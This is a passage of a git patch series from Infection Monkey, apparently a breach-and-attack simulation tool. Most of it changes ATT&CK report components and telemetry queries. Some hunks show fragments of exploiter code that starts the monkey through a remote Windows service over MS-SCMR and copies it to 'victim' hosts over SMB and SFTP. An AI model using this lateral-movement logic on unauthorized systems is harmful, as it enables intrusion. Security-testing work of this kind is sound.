data['hostname'] + " ( "; data['ips'].forEach(function(ipInfo){ - machineStr += ipInfo['addr'] + " "; + if(typeof ipInfo === "object"){ + machineStr += ipInfo['addr'] + " "; + } else { + machineStr += ipInfo + " "; + } }); return machineStr + ")" } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js new file mode 100644 index 000000000..3f0438245 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js @@ -0,0 +1,40 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData } from "./Helpers" + + +class T1105 extends React.Component { + + constructor(props) { + super(props); + } + + static getFilesColumns() { + return ([{ + Header: 'Files copied.', + columns: [ + {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 }, + {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170}, + {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status !== 'UNSCANNED' ? + : ""} +
+ ); + } +} + +export default T1105; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 348510175..6a9c1832c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -14,6 +14,7 @@ import T1059 from "../attack/techniques/T1059"; import T1086 from "../attack/techniques/T1086"; import T1082 from "../attack/techniques/T1082"; import T1145 from "../attack/techniques/T1145"; +import T1105 from "../attack/techniques/T1105"; const tech_components = { 'T1210': T1210, @@ -24,7 +25,8 @@ const tech_components = { 'T1059': T1059, 'T1086': T1086, 'T1082': T1082, - 'T1145': T1145 + 'T1145': T1145, + 'T1105': T1105 }; const classNames = require('classnames'); From f5ed7e742223d7549b0e20e74a0facc69c36fa20 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Jul 2019 15:17:26 +0300 Subject: [PATCH 06/43] PR fix (smb exploiters sends telem if service execution failed) --- monkey/infection_monkey/exploit/smbexec.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index ee865e533..6f1667c64 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -131,10 +131,12 @@ class SmbExploiter(HostExploiter): resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name, lpBinaryPathName=cmdline) service = resp['lpServiceHandle'] - T1035Telem(ScanStatus.USED, "SMB exploiter ran the monkey by creating a service via MS-SCMR.").send() try: scmr.hRStartServiceW(scmr_rpc, service) + T1035Telem(ScanStatus.USED, "SMB exploiter ran the monkey by creating a service via MS-SCMR.").send() except: + T1035Telem(ScanStatus.SCANNED, + "SMB exploiter failed to run the monkey by creating a service via MS-SCMR.").send() pass scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) From 25efdef7d3359b28c0a20b613514227bb12a89fc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Jul 2019 17:50:48 +0300 Subject: [PATCH 07/43] Changes report components to use ScanStatus value --- .../cc/services/attack/technique_reports/T1003.py | 4 ++-- .../cc/services/attack/technique_reports/T1059.py | 4 ++-- .../cc/services/attack/technique_reports/T1065.py | 2 +- .../cc/services/attack/technique_reports/T1075.py | 6 +++--- .../cc/services/attack/technique_reports/T1082.py | 4 ++-- .../cc/services/attack/technique_reports/T1086.py | 4 ++-- .../cc/services/attack/technique_reports/T1110.py | 6 +++--- .../cc/services/attack/technique_reports/T1145.py | 4 ++-- .../cc/services/attack/technique_reports/T1210.py | 6 +++--- .../cc/services/attack/technique_reports/__init__.py | 8 ++++---- 10 files changed, 24 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index a92758cbc..d9aaeaa47 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -20,8 +20,8 @@ class T1003(AttackTechnique): def get_report_data(): data = {'title': T1003.technique_title()} if mongo.db.telemetry.count_documents(T1003.query): - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1003.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index 328c11112..ef15dd9fd 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -27,8 +27,8 @@ class T1059(AttackTechnique): cmd_data = list(mongo.db.telemetry.aggregate(T1059.query)) data = {'title': T1059.technique_title(), 'cmds': cmd_data} if cmd_data: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1059.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index fd34e80e9..7d8ceb93e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -17,4 +17,4 @@ class T1065(AttackTechnique): def get_report_data(): port = ConfigService.get_config_value(['cnc', 'servers', 'current_server']).split(':')[1] T1065.used_msg = T1065.message % port - return T1065.get_base_data_by_status(ScanStatus.USED) + return T1065.get_base_data_by_status(ScanStatus.USED.value) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index fa65a66c2..623d157ae 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -35,10 +35,10 @@ class T1075(AttackTechnique): successful_logins = list(mongo.db.telemetry.aggregate(T1075.query)) data.update({'successful_logins': successful_logins}) if successful_logins: - status = ScanStatus.USED + status = ScanStatus.USED.value elif mongo.db.telemetry.count_documents(T1075.login_attempt_query): - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1075.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index 79020c048..f59b63286 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -40,8 +40,8 @@ class T1082(AttackTechnique): system_info = list(mongo.db.telemetry.aggregate(T1082.query)) data.update({'system_info': system_info}) if system_info: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1082.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index 4114047c5..dd5d64d25 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -29,8 +29,8 @@ class T1086(AttackTechnique): cmd_data = list(mongo.db.telemetry.aggregate(T1086.query)) data = {'title': T1086.technique_title(), 'cmds': cmd_data} if cmd_data: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1086.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 91d785bc3..b918de7f4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -35,11 +35,11 @@ class T1110(AttackTechnique): result['successful_creds'].append(T1110.parse_creds(attempt)) if succeeded: - status = ScanStatus.USED + status = ScanStatus.USED.value elif attempts: - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data = T1110.get_base_data_by_status(status) # Remove data with no successful brute force attempts attempts = [attempt for attempt in attempts if attempt['attempts']] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 9b525873f..89ac44117 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -23,9 +23,9 @@ class T1145(AttackTechnique): ssh_info = list(mongo.db.telemetry.aggregate(T1145.query)) if ssh_info: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data = T1145.get_base_data_by_status(status) data.update({'ssh_info': ssh_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 6e89bc6ab..eeae183f5 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -18,11 +18,11 @@ class T1210(AttackTechnique): scanned_services = T1210.get_scanned_services() exploited_services = T1210.get_exploited_services() if exploited_services: - status = ScanStatus.USED + status = ScanStatus.USED.value elif scanned_services: - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1210.get_message_and_status(status)) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index d765b5f09..a18444b4e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -67,7 +67,7 @@ class AttackTechnique(object): def get_message_and_status(cls, status): """ Returns a dict with attack technique's message and status. - :param status: Enum type value from common/attack_utils.py + :param status: Enum from common/attack_utils.py integer value :return: Dict with message and status """ return {'message': cls.get_message_by_status(status), 'status': status.value} @@ -76,12 +76,12 @@ class AttackTechnique(object): def get_message_by_status(cls, status): """ Picks a message to return based on status. - :param status: Enum type value from common/attack_utils.py + :param status: Enum from common/attack_utils.py integer value :return: message string """ - if status == ScanStatus.UNSCANNED: + if status == ScanStatus.UNSCANNED.value: return cls.unscanned_msg - elif status == ScanStatus.SCANNED: + elif status == ScanStatus.SCANNED.value: return cls.scanned_msg else: return cls.used_msg From 8c9787f2c70297bff0ade33b443aaa0d79b0c635 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Jul 2019 17:50:48 +0300 Subject: [PATCH 08/43] Changes report components to use ScanStatus value --- .../cc/services/attack/technique_reports/T1003.py | 4 ++-- .../cc/services/attack/technique_reports/T1059.py | 4 ++-- .../cc/services/attack/technique_reports/T1065.py | 2 +- .../cc/services/attack/technique_reports/T1075.py | 6 +++--- .../cc/services/attack/technique_reports/T1082.py | 4 ++-- .../cc/services/attack/technique_reports/T1086.py | 4 ++-- .../cc/services/attack/technique_reports/T1110.py | 6 +++--- .../cc/services/attack/technique_reports/T1145.py | 4 ++-- .../cc/services/attack/technique_reports/T1210.py | 6 +++--- .../cc/services/attack/technique_reports/__init__.py | 10 +++++----- 10 files changed, 25 insertions(+), 25 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index a92758cbc..d9aaeaa47 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -20,8 +20,8 @@ class T1003(AttackTechnique): def get_report_data(): data = {'title': T1003.technique_title()} if mongo.db.telemetry.count_documents(T1003.query): - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1003.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index 328c11112..ef15dd9fd 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -27,8 +27,8 @@ class T1059(AttackTechnique): cmd_data = list(mongo.db.telemetry.aggregate(T1059.query)) data = {'title': T1059.technique_title(), 'cmds': cmd_data} if cmd_data: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1059.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index fd34e80e9..7d8ceb93e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -17,4 +17,4 @@ class T1065(AttackTechnique): def get_report_data(): port = ConfigService.get_config_value(['cnc', 'servers', 'current_server']).split(':')[1] T1065.used_msg = T1065.message % port - return T1065.get_base_data_by_status(ScanStatus.USED) + return T1065.get_base_data_by_status(ScanStatus.USED.value) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index fa65a66c2..623d157ae 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -35,10 +35,10 @@ class T1075(AttackTechnique): successful_logins = list(mongo.db.telemetry.aggregate(T1075.query)) data.update({'successful_logins': successful_logins}) if successful_logins: - status = ScanStatus.USED + status = ScanStatus.USED.value elif mongo.db.telemetry.count_documents(T1075.login_attempt_query): - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1075.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index 79020c048..f59b63286 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -40,8 +40,8 @@ class T1082(AttackTechnique): system_info = list(mongo.db.telemetry.aggregate(T1082.query)) data.update({'system_info': system_info}) if system_info: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1082.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index 4114047c5..dd5d64d25 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -29,8 +29,8 @@ class T1086(AttackTechnique): cmd_data = list(mongo.db.telemetry.aggregate(T1086.query)) data = {'title': T1086.technique_title(), 'cmds': cmd_data} if cmd_data: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1086.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 91d785bc3..b918de7f4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -35,11 +35,11 @@ class T1110(AttackTechnique): result['successful_creds'].append(T1110.parse_creds(attempt)) if succeeded: - status = ScanStatus.USED + status = ScanStatus.USED.value elif attempts: - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data = T1110.get_base_data_by_status(status) # Remove data with no successful brute force attempts attempts = [attempt for attempt in attempts if attempt['attempts']] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 9b525873f..89ac44117 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -23,9 +23,9 @@ class T1145(AttackTechnique): ssh_info = list(mongo.db.telemetry.aggregate(T1145.query)) if ssh_info: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data = T1145.get_base_data_by_status(status) data.update({'ssh_info': ssh_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 6e89bc6ab..eeae183f5 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -18,11 +18,11 @@ class T1210(AttackTechnique): scanned_services = T1210.get_scanned_services() exploited_services = T1210.get_exploited_services() if exploited_services: - status = ScanStatus.USED + status = ScanStatus.USED.value elif scanned_services: - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1210.get_message_and_status(status)) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index d765b5f09..3e92417d3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -67,21 +67,21 @@ class AttackTechnique(object): def get_message_and_status(cls, status): """ Returns a dict with attack technique's message and status. - :param status: Enum type value from common/attack_utils.py + :param status: Enum from common/attack_utils.py integer value :return: Dict with message and status """ - return {'message': cls.get_message_by_status(status), 'status': status.value} + return {'message': cls.get_message_by_status(status), 'status': status} @classmethod def get_message_by_status(cls, status): """ Picks a message to return based on status. - :param status: Enum type value from common/attack_utils.py + :param status: Enum from common/attack_utils.py integer value :return: message string """ - if status == ScanStatus.UNSCANNED: + if status == ScanStatus.UNSCANNED.value: return cls.unscanned_msg - elif status == ScanStatus.SCANNED: + elif status == ScanStatus.SCANNED.value: return cls.scanned_msg else: return cls.used_msg From eb574c8fffcde4b3fbfc2af9a228b6dfc5a77276 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 9 Jul 2019 09:49:29 +0300 Subject: [PATCH 09/43] Minor changes in the UI --- .../cc/ui/src/components/attack/techniques/T1105.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js index 3f0438245..ed0ebc1e9 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData } from "./Helpers" +import { scanStatus } from "./Helpers" class T1105 extends React.Component { @@ -25,7 +25,7 @@ class T1105 extends React.Component {
{this.props.data.message}

- {this.props.data.status !== 'UNSCANNED' ? + {this.props.data.status !== scanStatus.UNSCANNED ? Date: Wed, 10 Jul 2019 08:40:31 +0300 Subject: [PATCH 10/43] Fixed host IP address retrieval and system_info_collection bugs --- monkey/infection_monkey/exploit/sambacry.py | 4 ++-- monkey/infection_monkey/exploit/sshexec.py | 8 ++++---- monkey/infection_monkey/exploit/tools/smb_tools.py | 8 ++++---- .../cc/services/attack/technique_reports/T1003.py | 6 +++--- .../cc/services/attack/technique_reports/T1082.py | 2 +- 5 files changed, 14 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 23d89bfa5..762cc14b5 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -270,8 +270,8 @@ class SambaCryExploiter(HostExploiter): with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) T1105Telem(ScanStatus.USED, - get_interface_to_target(self.host.ip_addr[0]), - self.host.ip_addr[0], + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, monkey_bin_64_src_path).send() smb_client.disconnectTree(tree_id) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 2c56471a4..dfa922b24 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -165,15 +165,15 @@ class SSHExploiter(HostExploiter): callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) T1105Telem(ScanStatus.USED, - get_interface_to_target(self.host.ip_addr[0]), - self.host.ip_addr[0], + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, src_path).send() ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) T1105Telem(ScanStatus.SCANNED, - get_interface_to_target(self.host.ip_addr[0]), - self.host.ip_addr[0], + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, src_path).send() return False diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index af088d9eb..6ca0b63ad 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -140,8 +140,8 @@ class SmbTools(object): file_uploaded = True T1105Telem(ScanStatus.USED, - get_interface_to_target(host.ip_addr[0]), - host.ip_addr[0], + get_interface_to_target(host.ip_addr), + host.ip_addr, dst_path).send() LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", src_path, share_name, share_path, host) @@ -151,8 +151,8 @@ class SmbTools(object): LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc) T1105Telem(ScanStatus.SCANNED, - get_interface_to_target(host.ip_addr[0]), - host.ip_addr[0], + get_interface_to_target(host.ip_addr), + host.ip_addr, dst_path).send() continue finally: diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index d9aaeaa47..2b49f264d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -12,9 +12,9 @@ class T1003(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully obtained some credentials from systems on the network." - query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}}, - # $gt: {} checks if field is not an empty object - {'data.credentials': {'$gt': {}}}]} + query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}}, + # $gt: {} checks if field is not an empty object + {'data.credentials': {'$gt': {}}}]} @staticmethod def get_report_data(): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index f59b63286..e10784cfc 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -12,7 +12,7 @@ class T1082(AttackTechnique): scanned_msg = "" used_msg = "Monkey gathered system info from machines in the network." - query = [{'$match': {'telem_category': 'system_info_collection'}}, + query = [{'$match': {'telem_category': 'system_info'}}, {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, 'aws': '$data.aws', 'netstat': '$data.network_info.netstat', From e1baacd0f0cae3cfd6ed795e26fbc6bcab5dfe7d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 10 Jul 2019 09:00:01 +0300 Subject: [PATCH 11/43] Remote file copy identical results grouped --- .../cc/services/attack/technique_reports/T1105.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py index 176bae052..3d95fd88d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -16,7 +16,9 @@ class T1105(AttackTechnique): {'$project': {'_id': 0, 'src': '$data.src', 'dst': '$data.dst', - 'filename': '$data.filename'}}] + 'filename': '$data.filename'}}, + {'$group': {'_id': {'src': '$src', 'dst': '$dst', 'filename': '$filename'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] @staticmethod def get_report_data(): From 09e1abb3cb90943ba33bafbe9b19f4723f12123b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 10 Jul 2019 09:11:13 +0300 Subject: [PATCH 12/43] System info attack technique's identical results grouped --- .../cc/services/attack/technique_reports/T1082.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index e10784cfc..bc2645bb9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -32,7 +32,9 @@ class T1082(AttackTechnique): 'name': {'$literal': 'SSH info'}}, {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]}, 'name': {'$literal': 'Azure info'}} - ]}}] + ]}}, + {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] @staticmethod def get_report_data(): From 35a288bb6ad87d054f1cdc189edf403dce819379 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 10 Jul 2019 09:34:05 +0300 Subject: [PATCH 13/43] Exploitation of remote services cosmetic improvements --- .../cc/ui/src/components/attack/techniques/T1210.js | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js index 1b3daa86c..9b6266efa 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js @@ -12,22 +12,25 @@ class T1210 extends React.Component { static getScanColumns() { return ([{ + Header: "Found services", columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, - {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, - {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }}, + {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }}, + {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100}, {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }} ] }])} static getExploitColumns() { return ([{ + Header: "Exploited services", columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, - {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, - {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }}, + {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }}, + {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }, + width: 170}, {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }} ] }])}; @@ -54,7 +57,6 @@ class T1210 extends React.Component { return (

-
Found services:

-
Exploited services:
Date: Fri, 12 Jul 2019 11:12:34 +0300 Subject: [PATCH 14/43] Proxy attack techniques implemented --- .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 16 ++++++++ .../attack/technique_reports/T1090.py | 34 ++++++++++++++++ .../attack/technique_reports/T1188.py | 39 +++++++++++++++++++ 4 files changed, 92 insertions(+), 2 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1090.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1188.py diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 1711059a0..2321a37c5 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,7 +1,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 -from 